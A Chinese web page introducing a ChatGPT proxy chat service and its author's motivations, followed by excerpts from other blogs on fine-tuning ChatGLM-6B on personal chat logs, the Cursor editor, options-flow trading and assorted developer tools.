OpenAI 于 2022 年 11 月推出的超级对话模型 ChatGPT， 受到来自世界各地的认可和赞誉，令人印象深刻。然而，由于一些原因，如果没有正确搭建相应的环境（🪜），ChatGPT 在部分地区就无法正常使用。鉴于此，搭建了这个服务，以便用户能够方便地使用 ChatGPT。当然，条件允许您可前往 OpenAI 官网上注册、登录、申请专属
API KEY。此外，为了保障用户的数据安全，本服务的操作过程中不会存储任何使用者的数据，因此可以放心使用（备注：这段介绍有使用本服务加以润色）。适用场景
- 没有注册 Open AI 账号，导致无法使用 ChatGPT 时；
- 因为网络环境限制，无法正常使用 ChatGPT 时；
- 具备账号，想让远方亲人、朋友快速体验 ChatGPT；
补充说明：承诺后台不会保存任何数据；基于 API KEY 发起的对话内容，会同步到对应账号；如果您习惯使用桌面客户端，类似项目有： lencx/ChatGPT 。
诞生初衷
最原始的动机，是因为：以上两点适用场景所对应的诉求，我觉得都需要。但，这并不足以缘起这个项目，更详细的阐述如下：
作为颇爱折腾的技术人员，ChatGPT 自然是要体验；有请时在美国的朋友，帮着注册®️了账号；然而，蛮多时候即便采用科学上网，设备却无法成功登陆 ChatGPT 官网地址 。恰逢一个契机——帮朋友写几行关于 ChatGPT 的示例；当痛点（Motivation：动机）碰上可执行性（Ability：能力），外加适当的 触发条件 （Trigger），福格行为模型（BJ Foog’s Behaviour Model）已全部满足，于是乎， 素问智聊斋 就有了诞生的充足理由。
命名来源
早在 关于“悠然宜想亭”的由来，以及未来 一文提及，对于网站取名多是五个字；或是兴趣的原因，其后缀带有 亭台楼阁、轩榭廊舫，殿庭苑斋 其中一个；其中大部分已被使用；因为「Chat」的应为对应的是「对话、聊天」；于是，「斋」字就这么定下；AI 对应智能，所以「智聊」也就应景而生。
原本命名为「智聊问异斋」，后觉不妥，略阅资料，遂修改为
素问智聊斋；素问：最早或于《黄帝内经》；釋名：“「素者，本也；問者，黃帝問於岐伯也」”。另有解释为：“ 即问本，探索人与自然的根本性问题 ”。当想 ChatGPT 说：“解释下「素问」”，它给出以下解释：「素问」是一种中国古代哲学思想，它强调对本质的探究。它的核心思想是：任何事物都有其本质，而且这个本质不受时间和空间的束缚，所以要理解它，就必须通过探究本质来探索事物的真相。
技术选型
前端采用了 Svelte 、 TypeScript 、 TailwindCSS 、 Flowbite 、 MDSvex 、 Vite 、 等流行技术栈，而后台则采用 Fastify 框架；在服务器上，则基于 Nginx 、 pm2 进行部署；其中 Svelte、TailwindCSS、MDSvex 等工具，极大提升了编写代码的舒适度，令人青睐有加。
思考感悟
关于 ChatGPT（或其他 AI 产品），相信接触过它的人们，或多或少都会有自己的感受；目前为止，吾有以下几点看法：
- 类似 ChatGPT 这样的 AI 产品，必将像如今的手机一般，成为绝大部分人类生活必需品，这很难以人类意志为转移；
- 毕竟是工具，使用乃至产生依赖，倒无不可；但也不能荒废自身，我辈仍须保持深度学习习惯，及提高学习能力；
- AI 会进而加剧人与人之间的差异；因为不喜欢折腾或探究新鲜事物的人，很难尽早去接触它，而是等时代浪潮拍打过来。
未来规划
新注册 Open AI 账号，为 API Key 调用费用赠送
18$，为期三个月；4 月 1 日过期之后，为使得服务能够正常运行，有继续购买它的服务。ChatGPT 的价格为：0.002美元 1000 个 tokens（约为 750 个英文单词），GPT4 则更贵一些；当使用费用超过所能承受的能力，外加服务器使用费用，或可能考虑植入定量商业化措施。现如今，如果您认为 素问智聊斋 对您有一定价值，可以考虑为发起 赞助 。其他作品
以上介绍内容，部分使用 ChatGPT 加以润色 。截止目前，它可以协助人类，已经很多，诸如学术论文、内容创作、翻译、数据分析、研究咨询、简历和求职信、广告文案、编写小说、个人陈述、 SEO 优化等等，如果想让它更好帮助到您，可以移步 ChatGPT 中文调教指南 ，学习怎么让它在不同场景，更好听理解您的指令。
您可能感兴趣的文章
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-04-09 07:00:00我必须让身边所有软件都保持最新版本，就像走路不能踩到地砖缝缝一样，没有意义，但也危害不大，所以我放任它发展
- 博客 二丫讲梵 2023-04-07 15:55:55如要阅读全文，点击标题跳转。学习周刊-总第101期-一个纯go实现的sqlite库
- 博客 王登科-DK博客 2023-04-07 13:09:05除了开飞机，做出完美的烤肋排，获得6块腹肌以及让公司赚大钱之外，我一直以来也想做成的一件事，是实现一个聊天机器人。 和多年前简单通过关键词匹配来回复的小黄鸡，到现在已经堪比人类智慧的 chatgpt，聊天AI一直在进步，但他们和我想的都有一些区别。 我在微信上和很多人聊天，有的人聊得多，有的人聊的少，我在群里也会说话，我还会写博客和公众号，我会在很多地方留下评论，我也会发微博，这些是我在网络世界留下的痕迹，某种程度上这些东西构成了世界对我的认知，从这个角度上，也就构成了我。将这些数据——我对不同消息的回复，我写的每一篇文章，每一句话，我发过的每一条微博等，全部汇入一个神经网络模型之中，去更新其中的参数，理论上就可以获得一个我的数字拷贝。 从原理上，这和对 chatgpt 说“请扮演一个叫小王的人，他的经历是XXX”不同，虽然以 chatgpt 的智慧，这样的扮演毫不费力且可能以假乱真，但其实 chatgpt 的参数并没有改变，这更像是“扮演”而非“重塑”，chatgpt 的上千亿个参数并没有改变一个，它从你之前的文本中获取一些信息，然后用它的智慧来应对你。
我喜欢在文章里写一些没有太大用处的比喻，并喜欢在最后做一些总结，跟人聊天的时候，我喜欢用「可以的」来敷衍，同时用卧槽来表示惊讶，我某些时候少言寡语，另一些时候则滔滔不绝，这是我自己能够感知的一些特点，此外还有更多我自己都无法察觉的固定习惯，但这些微妙又模糊的东西，我无法告诉 chatgpt，这就像你做自我介绍，可以介绍的很丰富，但和真正的你，依然差之千里，甚至有时候截然相反，因为当我们意识到自己的存在的时候，我们其实是在表演自己，只有在我们没有意识到自己的存在，而融入生活的时候，我们才是真正的自己。
在 chatgpt 发布之后基于兴趣去学习文本大模型的技术原理，有一种 49 年入国军的感觉，因为对个人爱好者来说，做出在任何方面或再细小的垂直领域超越 chatgpt 的可能性已经不存在了，同时它又不开源，除了使用，没有别的可打的主意。
但最近2个月出现的一些开源文本预训练模型，例如大名鼎鼎的 llama 和 chatglm6b，让我那个克隆自己的想法又开始蠢蠢欲动起来，上周，我准备试试看。
首先我需要数据，足够多且全部都由我产生的数据，最简单的数据来源是我的微信聊天记录和博客，因为没有完全清空微信聊天记录，从 2018 年到现在，我手机里的微信占了80G的储存空间，对此我一直有一种家里被人强占一块地儿的感觉，现在如果能把这里的数据利用起来，我会和这80G冰释前嫌。
我在几年前曾经备份过我的微信聊天记录，我又找到了当年使用的工具，是一个在 github 开源的工具，叫做 WechatExporter，链接我会放到文末，使用这个工具，可以实现在 Windows 电脑上备份 iPhone 中的手机微信的所有聊天记录，并导出成纯文本格式，这是一个需要耐心的操作，因为首先需要将整个手机备份在电脑上，然后这个工具会从备份文件中读取到微信的记录，并导出。
我大概花了4个小时备份，然后很快导出了我所有的微信聊天记录，其按照聊天对象，被导出到了许多个文本文件中
这里面包括了群聊和一对一的聊天。
然后我开始做数据清洗，大多数群我都是潜水比较多，我筛选出一些我比较活跃的群，此外还筛出了一些和个人的聊天记录，我和他们聊天很多，同时他们也愿意我把聊天记录拿来这么做，最后大概50个聊天的文本文件够我使用。
我写了一个 python 脚本，遍历这些文本文件，找出我的所有发言，以及上一句，做成对话的格式，然后存入 json，这样，我就拥有了一个我自己的微信聊天数据集。
此时我也让同事用爬虫爬取了我自己的所有博客文章，他爬完发给我之后我才想起来，我其实可以用博客后台内置的导出功能直接导出。博客数据虽然也很干净，但我一开始并不知道如何利用，因为我要训练的是聊天的模型，而博客文章是一大段一大段的话，并不是聊天，所以我第一次训练，只用了微信的这些纯聊天记录。
我选择了 chatglm-6b 作为预训练模型，一方面它的中文效果已经被训练的足够好了，另一方面它的参数是 60 亿，我的机器能不太费力的跑起来，还有个原因是，在 github 已经有好几个对其进行微调训练的方案了（我会一起列在文末）
考虑到我的微信聊天数据最终可用大约 10 万条，我设置了比较低的学习率，同时增加了epoch，在几天前的一个晚上，睡前，我写完训练脚本，并开始运行，然后我就开始睡觉，希望睡醒之后能跑完，但那个晚上我差不多每隔一个小时就醒一次。
早上起来之后，模型训练完了，遗憾的是 loss 下降的并不好，也就意味着12个小时训练出来的模型，并不算好，但我是个深度学习的菜鸡，能跑完不报错我已经谢天谢地了，所以我并没有感到失望，而是开始用这个模型来跑对话。
为了增加一点仪式感，我不想用 jupyter 笔记，或在黑黢黢的终端里去聊天，我找了个开源的前端聊天页面，略做修改，然后把模型部署起来，封装了 API ，然后用前端页面去调用这个 API，于是就可以实现比较像那么回事的聊天了。
请不笑话我，我用自己的 10 万条微信聊天记录，训练出的模型，以下是我和他(或者它？)的第一次对话
我又试了下，结果依然不是很好，我不是那种不优化到极致就不好意思拿出手的人，因此我毫不害羞的直接发给了几个朋友，他们给我的反馈是，有点像你，同时他们给我返了对话截图。
第一个版本，这个模型确实具备某些跟我比较类似的点，我说不好，但有一点这种感觉。
如果你问它，你哪里读的大学，或者你老家是哪里，它并不会回答出准确的信息，并且肯定说的是错的，因为我的聊天记录中并不会有很多人这么问我，从某种角度上，这个模型并不了解我，它像是一个克隆。
当我收到一条微信消息，内容为 A，我回复了 B，那么这里是有一些原因的，这些原因中的一部分，储存在我物理脑袋的七八十亿个神经元里，理论上，如果我产生的数据足够多，也许几千亿条，那么一个参数够大的人工智能模型，就能非常接近我的脑子，10万条也许少了一些，但也足以让模型的60亿个参数里改变一部分，使其相较于原始的预训练模型，更接近我一点。
此外它还有个更大的缺点，就是蹦不出来几个字，回答非常简略，这虽然符合我很多时候的微信聊天风格，但并不是我想要的，我想要它说更多话。
此时我忽然想到了我的博客，如何能把这些博客转换为问答呢，我想到了 chatgpt ，在我精心构造的 prompt 之下，它成功把我博客文章的一段文本，变成了多个对话形式的问答：
某些时候 chatgpt 会返回一些不符合格式的内容，所以我写了一个校对脚本，来将各种不符合规则的返回，统统修改为标准的json，且字段名不变。
然后我将其封装为一个接口，放在了香港的服务器上，并在我的电脑上写了一个脚本，把我的博客文章按照500字划分，拿去批量转成问答，受限于chatgpt的接口速度，我差不多又花了一晚上，才把我的两百多篇博文，转换成了差不多 5000 个对话数据集。
此时我面临一个选择，如果将博客对话加到微信对话数据集里去训练，那么博客对话占比太低，可能影响会非常小，也就是说跟之前的模型差别不大；另一个选择是单纯用文章的这些数据，去训练一个新模型。
我向 6pen 的算法老哥寻求帮助，在确定模型权重可以融合并想办法从他那顺到融合脚本后，采用了后一种方式。
5000个问答，训练速度很快，一两个小时就够了，下午我一边写文档一边瞅一眼训练进度，下班之前训练完毕，我开始进行模型的融合，让之前的用微信聊天记录训练的模型，和用我的博客训练的模型进行融合。
两个模型的权重可以自由配置，我尝试了多种不同的比例，考虑到模型收敛过程中 loss 还有一些反弹，我还尝试了不同步数的模型版本
我整晚整晚和这些模型对话，找到效果最好的，但我发现，我似乎很难找出来，这些模型，有一些不同的表现，有的会比较暴躁，有的像舔狗一样，有些特别高冷，有些则很热情，然后我意识到，某种程度上，这或许是我的不同面，这么理解虽然肯定会让搞深度学习，并对其中原理烂熟于胸的人嗤之以鼻，但不失一些浪漫。
最终我发现，聊天和文章两个模型，权重比为 7 比 2 ，且采用第 6600 步保存的模型，融合效果在更多时候，都要更好一点，当然也可能是那个时候已经半夜两点，我的判断力有所下降，但无论如何，我就把他确定为最终模型了。
我和他聊了很多。
很明显，他和 chatgpt 差的极远，没办法帮我写代码，或者写文案，也不够聪明，因为训练用的数据不包含多轮对话，所以多轮对话的理解力更差，与此同时，他对我也不算特别了解，除了知道自己的名字（也就是我的名字），我的其他很多信息，他其实并不能准确回答，但是，他经常会说一些简单的几个字，让我有一种熟悉的感觉，也可能是错觉，谁知道呢。
总的来说，现在存在的所有广为人知的文本大模型，都是用海量的数据训练的，训练过程会尽可能包含全人类所产生的所有信息，这些信息让模型的亿万参数得以不断优化，例如第2043475个参数增加4，第9047113456个参数减少17，然后得到更聪明的神经网络模型。
这些模型变得越来越聪明，但它们更像是人类的，而非个体的，当我用我自己的这些数据去重新训练模型时，我能得到完全不一样的东西，一个更靠近个体的模型，虽然无论是我产生的数据量，还是我采用的预训练模型的参数量和结构，可能都无法支撑起一个能够和我的脑子差不多的模型，但对此进行的尝试，依然非常有意思。
我将这个网页重新部署了一下，并在中间加了一层 serverless 做保护，因此，现在所有人都可以去试试和这个我的数字版聊天，服务由我的祖传V100服务器提供，并且只有一台，所以如果人多的话，可能会有各种问题，链接我会放在最下面。
积极的，发自内心的产出更多的数据，就越有可能在未来获得更接近你的数字拷贝，这或许会有一些道德，甚至伦理问题，但这是大概率会发生的事情，之后我的数据积累的更多，或有更好的预训练模型，训练方式，我可能随时都会重新再次尝试训练，这不会是一个盈利，或任何跟商业沾边的项目，这某种程度上算是我自己追寻自己的一种方式。
这样一想，人生似乎都少了一些孤独感。
附
我的数字克隆在线聊天：https://ai.greatdk.com
我使用和参考的项目：
- WechatExporter：BlueMatthew/WechatExporter: Wechat Chat History Exporter 微信聊天记录导出备份程序 (github.com)
- chatglm-6b：THUDM/ChatGLM-6B: ChatGLM-6B：开源双语对话语言模型 | An Open Bilingual Dialogue Language Model (github.com)
- zero_nlp：yuanzhoulvpi2017/zero_nlp: 中文nlp应用(大模型、数据、模型、训练、推理) (github.com)
- chatglm_finetuning：https://github.com/ssbuild/chatglm_finetuning
- MoeChat：Fzoss/MoeChat: 一个比较好看的WEB聊天界面UI (github.com)
- Alpaca: A Strong, Replicable Instruction-Following Model：Stanford CRFM
- LLAMA：facebookresearch/llama: Inference code for LLaMA models (github.com)
- 博客 构建我的被动收入 2023-04-07 08:00:00本文分享了笔者使用 chatGPT 开发 myGPTReader 开源项目的过程。
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-04-02 12:50:00四月对我而言是一个充满悲伤的月份。尽管《四月是你的谎言》已经过去了很多年，但每当看到「四月」这两个字，仍会立刻触发我的 PTSD，再加上今天我刚读完一本反乌托邦题材的小说《来自新世界》。多种思绪糅杂在一起，让我不禁回想起了那些令我痛心的「重量级」反乌托邦动漫
- 博客 二丫讲梵 2023-03-31 16:35:17如要阅读全文，点击标题跳转。学习周刊-总第100期-go语言版本的elasticsearch与Mac上传歌曲到网易云盘的插件
- 博客 我爱自然语言处理 2023-03-27 19:02:27内容来源：ChatGPT 及大模型专题研讨会 转载自CSDN稿件 在经历寒冬、雾霾，甚至大家纷纷看 […]
- 博客 构建我的被动收入 2023-03-26 08:00:00基于 chatGPT 的聊天机器人，帮助你高效阅读。
- 博客 Randy's Blog 2023-03-25 08:00:00788
- 博客 二丫讲梵 2023-03-24 16:44:49如要阅读全文，点击标题跳转。学习周刊-总第99期-开源的图片编辑器与多功能画板
- 博客 轶哥博客 2023-03-23 19:21:23<>随着时间的推移，1Paword中的记录可能会出现重复（其实是1Paword老版本的BUG导致的）。这些重复记录可能会导致混乱，并增加在查找需要的凭据时的困难。为了解决这个问题，我们创建了一个用于查找并删除重复项的Pytho脚本。
脚本概述
<>该脚本首先获取所有重复的title，然后提取相关的ID。接着，脚本通过比较Field和URL部分，找到重复的项目并将多余的项目ID添加到一个列表中。最后，根据需要，您可以选择删除多余的项目。使用方法
- 确保已安装Pytho 3，并确保1Paword CLI（命令行界面）已经正确配置。
- 保存以下脚本到名为
1aword_dedulicate.y的文件中。 - 在终端中，导航到包含脚本的文件夹，然后运行
ytho 1aword_dedulicate.y。 - 脚本将显示需要删除的额外项目ID。如需删除这些项目，请取消脚本末尾相关行的注释，并重新运行脚本。
- 博客 轶哥博客 2023-03-22 21:58:41<>网络监测小工具是一个使用Golag编写的工具，可以帮助您定期地监测网络性能。它将自动测试网络延迟、丢包率和下载速度，并将结果记录到Excel文件中。今天，我们将介绍这个工具的功能以及如何使用它。<>
<>
主要功能 - 每5分钟自动测试网络状态
- 记录主路由、网关、百度网站以及服务器的平均延迟和丢包率
- 记录两个下载链接的下载速度
- 将结果保存到Excel文件中
- 博客 轶哥博客 2023-03-21 18:25:20<>执行Shell脚本提示：
/i/ah^M: ad iterreter: No uch file or directory... - 博客 轶哥博客 2023-03-21 16:20:24<>在现今的数字时代，软件安全日益受到重视。对于Widow客户端开发者来说，使用EV（Exteded Validatio）证书对软件进行代码签名是确保用户信任和防止恶意攻击的关键一环。本文将探讨在Widow下的桌面软件开发过程中进行EV证书代码签名的必要性，未签名可能存在的问题，以及在签名过程中可能遇到的问题和解决方法。
- 博客 我爱自然语言处理 2023-03-20 18:33:59内容来源：ChatGPT 及大模型专题研讨会 分享嘉宾：达观数据董事长兼CEO 陈运文博士 分享主 […]
- 博客 离别歌 2023-03-19 23:54:00795
- 博客 二丫讲梵 2023-03-19 19:07:27如要阅读全文，点击标题跳转。平时用 go 写一些小工具的时候，如果数据的敏感性没有那么强，那么一些热数据就可以考虑放在 cache 当中，cache 也没必要用外置服务，那就直接使用本机内存进行存储即可。 go-cache 就是一个用于本地缓存的 Go 语言库，它支持过期时间和自动清理。它使用了一个内部的 goroutine 来检查缓存项是否过期，并在需要时自动清理过期的缓存项。使我们能够很方便地将一些数据放在缓存当中。
- 博客 maxOS 2023-03-19 18:49:02概念模型是产品设计中会用到的一种图形工具，通过图形来描述产品作为系统会出现哪些概念以及这些概念之间的联系。它可以帮助产品经理了解产品的未来，制定产品规划，也可以帮助设计师来设计网站的信息架构，对于工程师来说，概念设计实际上和数据库设计以及声明式编程的理念也很类似，也可以作为参考。
- 博客 小明明s à domicile 2023-03-19 10:54:25
前言
这几天体验了 Cursor ( https://www.cursor.so/ )，我觉得它会是一个划时代的产品，非常推荐给你。本文完整的演示它目前提供的功能。
官方介绍它只说了 2 句:
Build Software. Fast. Write, edit, and chat about your code with GPT-4
我们先看它的快捷键:
有 4 个选项，但是它只有 2 个快捷键，后面 2 个针对选择一段代码后的操作，我挨个具体解释一下它的用法和主要应用场景。
Generate(⌘+K)
在输入框里面输入你需要让它帮助你写什么代码，回车后它就开始自动帮助你写代码了。
Edit Selection(⌘+K)
可以选择一段代码，然后针对这段代码提出一些修改要求，比如要求 Cursor 修改其中的逻辑、添加注释等:
Cursor 会帮助你做一些改变，生成 diff 对比，然后提出 2 个选项问你接受 (Accept) 还是拒绝 (Reject)，选择接受就会应用改变否则就恢复原状。
Chat(⌘+L)
类似于集成了 chatGPT，你可以在 Cursor 里面使用 chatGPT 去问任何问题，相当于不需要专门去 官网 了或者搜索引擎就可以找到答案。
上面的例子里，我想要给程序添加类型注解，直接用 Chat 就可以获取解决方案。这可以让开发者不需要在 Google、StackOverFlow 等网站来回切换，编程过程完整的在 Cursor 里进行，无论是查看报错信息原因、查找代码如何写、学习编程知识等等方面。
Chat Selection(⌘+L)
可以选择一段代码，然后针对这段代码提出一些问题。例如让 IDE 解释一下这段代码的原理、代码结构、找 Bug 等等
这个模式下，对于理解别人写的代码是非常有帮助的，如果你接手了别人的项目，现在有 Cursor 帮助你理解。
隐藏技能
接着再分享一些 Cursor 隐藏技能。
添加注释 / 测试
当你选择函数或者类，会提示添加文档字符串 (Add Docstring) 和测试代码 (Add Test)
不过现阶段这个反应时间比较长，需要稍微耐心一点，另外看上图可以看到当有装饰器时生成的文档注释的位置不对需要手动挪挪，不过未来肯定会修复的。文档字符串时非常爽的，尤其是对于英语不好的同学，想怎么表达非常烧脑，现在好了，直接生成。测试代码是在 Chat 里面给你范例，可以直接参考使用。
Lint
不同语言已经自带了相关的 Lint，例如 Python 使用了 pyflakes，如果你的代码写的有相关的问题，左边会有提示，鼠标悬停会提示错误原因:
在 Cursor 创始人一开始宣传时，曾经演示过[一个例子](https://twitter.com/amanrsanger/status/1615... - 博客 forecho 的独立博客 2023-03-19 10:06:00
引言
市场净流量是一种金融交易中的关键工具，用于评估市场中的多空情绪。通过综合分析市场净流量、技术分析和其他交易策略，交易者可以更准确地预测市场走势并做出更明智的投资决策。
本文将详细介绍市场净流量的概念、如何分析市场净流量以及如何将其与其他交易策略结合使用。
最后，本文还将介绍 Tradytics 的市场净流量指标的使用方法，帮助交易者更好地分析市场净流量。
市场净流量的概念与重要性
市场净流量（Market Netflow）是一种基于期权交易数据的指标，用于评估市场中的多空情绪。它通过比较看涨期权和看跌期权的交易量来测量市场的乐观或悲观程度。
- 当市场净流量呈现看涨趋势时，意味着市场中的多头力量较强；
- 当市场净流量呈现看跌趋势时，意味着市场中的空头力量较强。
市场净流量在金融交易中的重要性在于，它可以帮助交易者更准确地预测市场走势，从而提高交易决策的准确性。
此外，市场净流量还可以与其他交易策略结合使用，为交易者提供更全面的市场分析。
分析市场净流量的方法与注意事项
- 分析市场净流量关键：观察趋势，使用工具查看数据，评估多空情绪。
- 注意事项：考虑期权交易量和到期日影响。
- 对冲功能影响：分析主要交易所如 SPY、QQQ、IWM 时，关注市场整体净流量，而非单个股票的净流量。
将市场净流量与其他交易策略结合使用
-
结合市场净流量与技术分析：融合市场净流量与技术分析，提高交易决策准确性。如结合成交量分析和图形模式寻找入场点。
-
结合市场净流量与其他交易策略：集成市场净流量与谐波分析、斐波那契回调、艾略特波浪等策略，全面分析市场，制定有效策略。
-
利用历史数据进行回测：回测历史数据，理解市场净流量与市场走势关系，优化交易策略。
Tradytics 的市场净流量指标
- 最近几天的数据，默认是 1 天
- 动能指标，用于评估市场的多空情绪（默认是 60 分钟的趋势），一个可以用来进入和退出市场的简单技术指标。
- 到期时间：筛选出所有距今天 x 天的期权，可以使用此功能仅查看短期期权的净流量，以预测非常短期的动向，默认是无限制，即所有期权。
- Cumulative Net Prems：累计净期权费用，负数看跌，正数看涨。
- 负数的 Algo Flow 是红色，代表看跌的
- 正数的 Algo Flow 是绿色，代表看涨的
- 关注红绿线的交叉点，红线向上穿过绿线，代表看跌的力量变强，可以做空；绿线向上穿过红线，代表看涨的力量变强，可以做多。
- 点击代表使用 Markete Net Flow 将动量作为您的技术指标。
- 一些动能指标的信号，如 9 所示，这些信号可以作为交易的参考。
Algo Flow 是一个金融市场分析工具，它帮助交易者在股票、期权、ETF 等交易中识别市场情绪、成交量和买卖力量的变化。Algo Flow 通过分析大量的交易数据，尤其是市场参与者的成交量、价格行为和持仓变化，为交易者提供有关市场趋势和潜在交易机会的信息。
另外，需要说明的是：
- Tradytics 的市场净流量指标是关注整个市场的数据，不是单个股票的数据，因此可以更好地反映市场的多空情绪。
- 不要通过一个技术指标来决定交易，一个指标容易出错，但是结合多个指标，就可以减少出错的可能性。
使用场景
看懂了市场净流量的概念和使用方法，接下来就是如何运用市场净流量指标进行交易。
选一个月之后到期的 SPY 期权交易，看看市场净流量的走势。重点关注 Algo Flow，当 Algo Flow 为负数时，代表看跌的力量较强，可以做空；当 Algo Flow 为正数时，代表看涨的力量较强，可以做多。简单点的话就选择一个方向，只买 CALL 或者 PUT，根据市场净流量图来回做波段。
SPY 期权流动性足够好，一个月到期的期权容错性高，风险低。
缺点就是需要盯盘，有点累。
总结
市场净流量是一种重要的金融交易工具，可以帮助交易者更准确地评估市场中的多空情绪。通过结合市场净流量、技术分析和其他交易策略，交易者可以提高交易决策的准确性，并实现更高的投资回报。
此外，交易者还可以利用历史市场净流量数据进行回测，以优化自己的交易策略。
总之，市场净流量是金融交易中的一种关键工具，值得交易者重视和运用。
- 博客 王登科-DK博客 2023-03-17 16:54:05那是一个下午，办公室的咖啡机坏了，我在楼下买了一杯厚乳拿铁，上楼后发现同事都出去吃午饭了，我一个人坐在窗边的工位上，升起的阳光正好覆盖在了我的电脑屏幕上，浏览器的文字都变得模糊起来，我眯起眼睛，试图看清屏幕上的字，依稀能看到我的代码编辑器，正在用 post 方法请求 openai 的接口，header 里的鉴权还空着，等着我写入 API KEY，光标就在此处闪烁，然后我长呼了一口气，第一次有了这个感觉。 从去年 4 月开始做 AI 绘画的产品（也就是 6pen ）开始，我一直处在兴奋状态中，连人都胖了5斤，我带着团队充满干劲的打磨产品，探索新的模式，研究新的技术，三天两头就跑一个新的什么 AI 模型，看论文，看行业最新的分析，看哪个大厂又出了个什么好玩意儿，看哪些噱头包装的多好，然后我们的产品也获得很多的用户的反馈，数据的增长，各种各样的靠谱的不靠谱的合作。 我和很多人一样相信，我们在一个新的时代拐点上，我们将见证并亲历这次如有如互联网的诞生，移动互联网的诞生，甚至蒸汽机的诞生一般的变革，并可能有幸参与其中，如果说 AI 是一锅热油，各行各业都是要被油过一遍的食材，那我们就是姜蒜末，除了油本身之外，是最先感受到油的温度的那一批，而现在，大家都被倒了进来，噼里啪啦，很热闹。
图片生成和文本生成，则像 AI 巨人的两条腿，奔跑着迈过人类用自身构筑的脆弱的堡垒，向更深处前进。
从去年开始，许多美术工作者将会被 AI 替代的说法就不绝于耳，但始终像一个传闻，今年情况则骤然转变，我身边就有不止一例因为 AI 带来的效率提升而失去工作的例子，技术发展的不确定性依然存在，但唯一确定的是，这只是一个开始。
没有任何人能够嘲笑美术工作者，因为没有人能不被影响。
代码能被 AI 很好的生成，产品需求可以被 AI 很好的生成，翻译是 AI 的绝活，写文章，故事，发言稿是 AI 的拿手戏，新闻摘要编辑，投资决策，市场分析，法律咨询，对话，发明新菜品，写论文，参加考试，这些我提到的和没提到的，在目前其实已经超过人类的平均水平了，达到人类的顶尖水平也只是时间问题，这样一来，有哪个职业，哪个行业能幸免遇难呢？
汽车替代了马车，但是让人类的生活更好，也带来了更多工作机会，这是一个绝好的，证明我们不应该忧虑的例子，我其实是部分同意这个说法的，甚至在一开始，一些朋友向我表达担忧的时候，我也是举这个例子来回复对方，但现在我觉得情况并不是这么简单。
我是热爱并且积极拥抱这些最新最酷的技术的人之一，但我猛然想到，那些不那么乐意拥抱新技术的人，就一定要被淘汰，这也是让人挺不舒服的一件事，某种程度上这有点像被新技术绑架，有些人乐于被绑架，那其实挺好，有些人不那么乐意被绑架，于是只能不开心的拥抱，或者逐渐失去自己的位置，这其实挺让人难受的。技术发展的这一点，无可指摘，但确实悲悯。作为乐意被绑架的人，我们也没有任何理由幸灾乐祸，因为这次，这个技术，我们乐于被绑架，下次呢，下次万一我们甚至连被绑架的资格都没有呢？
另一个和之前不同的地方则是，生成式 AI，不是让人跑得更快，跳得更高，力气更大，或者憋气更久的什么东西，它是关于创造的，是关于艺术的，某种程度上，我觉得这些可以称之为人类的意义，我不能说，我们在创造一种技术，来毁灭我们存在的意义，这么说肯定夸大其词，但我确实有在想，如果未来的某一天，AI 代替我们思考和创造，我们还剩下什么，所谓的 prompt 的艺术，其实也只是在 AI 还不够完善的时候，一种中间形态而已。AI 会释放人类的创造力，还是毁灭人类的创造力，好像还真的说不好，因为人虽然有无穷的创造力，但是也很懒。
生产力的无限提高，只有一个结果，就是不需要生产。
baye 是我敬仰的一位开发者，他也是著名的短信拦截应用熊猫吃短信的开发者，他前不久快速做了一个 iOS 的 app，实现了chatgpt 的第三方客户端，这成为了他数据上最成功的产品，但他在推文中写到「我一点感受不到兴奋和鼓舞。这是我做的最没技术含量或者说没有我个人烙印的产品了，就是一个 api wrapper 而已。我只感受到了热点的力量，没有感受到我的力量。这种感觉让我很是迷茫。」
我知道的不少更资深的开发者，因为类似的原因，反而不如很多雄心勃勃的新手，AI 成为了一种武器，你只能选择使用或不使用，使用之后，个性和特点将被磨的更平，当然不会完全消失，但正因为 AI 的强大，边边角角的巧思显然会完全被那些绝佳的，生成的内容给盖过，以至于更难被人们注意到。
我不是想说技术的坏话，毫无疑问，底层大模型的开发者研究人员，是真正在推动人类向新的阶段迈进的，这是某种必然，但我们之后会迎来一个怎样的世界，我觉得说不好，我们也应该更谨慎一些。
小时候我常常幻想未来生活在一个科幻的世界，星际旅行，时空穿梭，瞬间移动，发射激光波，这个世界显然没有到来，但用另一种方式，现在的这个世界，似乎更加科幻。
这就是我那个下午想到的，然后我喝完咖啡，继续工作了。 - 博客 二丫讲梵 2023-03-17 16:27:15如要阅读全文，点击标题跳转。学习周刊-总第98期-开源的 Mac 端 GIF 录制软件
- 博客 我爱自然语言处理 2023-03-16 16:42:14内容来源：ChatGPT 及大模型专题研讨会分享嘉宾：复旦大教授 邱锡鹏分享主题：《对话式大型语言模型》转载自 […]
- 博客 二丫讲梵 2023-03-16 05:05:48如要阅读全文，点击标题跳转。在编写分布式应用程序时，有时会出现一些短暂的错误，例如网络问题、服务端连接中断等。这些错误可能会导致函数执行失败，但在稍后重新尝试时可能会成功。在这种情况下，我们可以使用重试机制。retry-go 是一个轻量级的 Golang 库，它使重试代码块变得更加简单。它通过提供一个简单的 API 来实现这一点，这使得开发人员可以在代码中轻松地添加重试逻辑。
- 博客 轶哥博客 2023-03-14 00:21:40<>fr是一个高性能的反向代理工具，它可以帮助我们穿透NAT和防火墙，实现内网穿透。它采用客户端-服务器模式，在内网中部署客户端程序，将需要访问的端口映射到公网上的服务器上，即可通过公网地址访问内网服务。同时，fr还可以作为正向代理使用，从而实现某些特定场景下的代理功能。frc是fr的客户端程序。<>在本文中，我们本文将详细介绍如何编译开源项目frc的安卓版本。在禁用CGO的情况下，编译一个适用于Adroid操作系统、基于ARM64架构的可执行文件，同时使用
-trimath和-ldflag quot- -wquot选项来减小二进制文件的大小，并在安卓设备上运行它，以实现在嵌入式设备（自助终端设备）上使用frc的功能。 - 博客 轶哥博客 2023-03-13 23:52:44<>回一个完整的对话文本。我们将介绍一个 Node.j 服务器和一个 HTML 页面的示例代码，这两个组件通过 HTTP 请求和 SSE（Server-Set Evet）协议连接，并实现了基于流式 API 的长时间运行的聊天功能。<>对接ChatGPT3.5/4接口本身很简单，但是实现
tream以打字机效果展示并且实现自动长回复，不少小伙伴遇到问题，特整理了一份3.5接口开放当天用于临时验证的示例代码供学习参考（千万不要用于生产环境）。 - 博客 轶哥博客 2023-03-13 23:22:16<>以下是实现自动安装frc的Shell脚本，实现h的22端口内网穿透，注册ytemd服务开机自动启动。<>
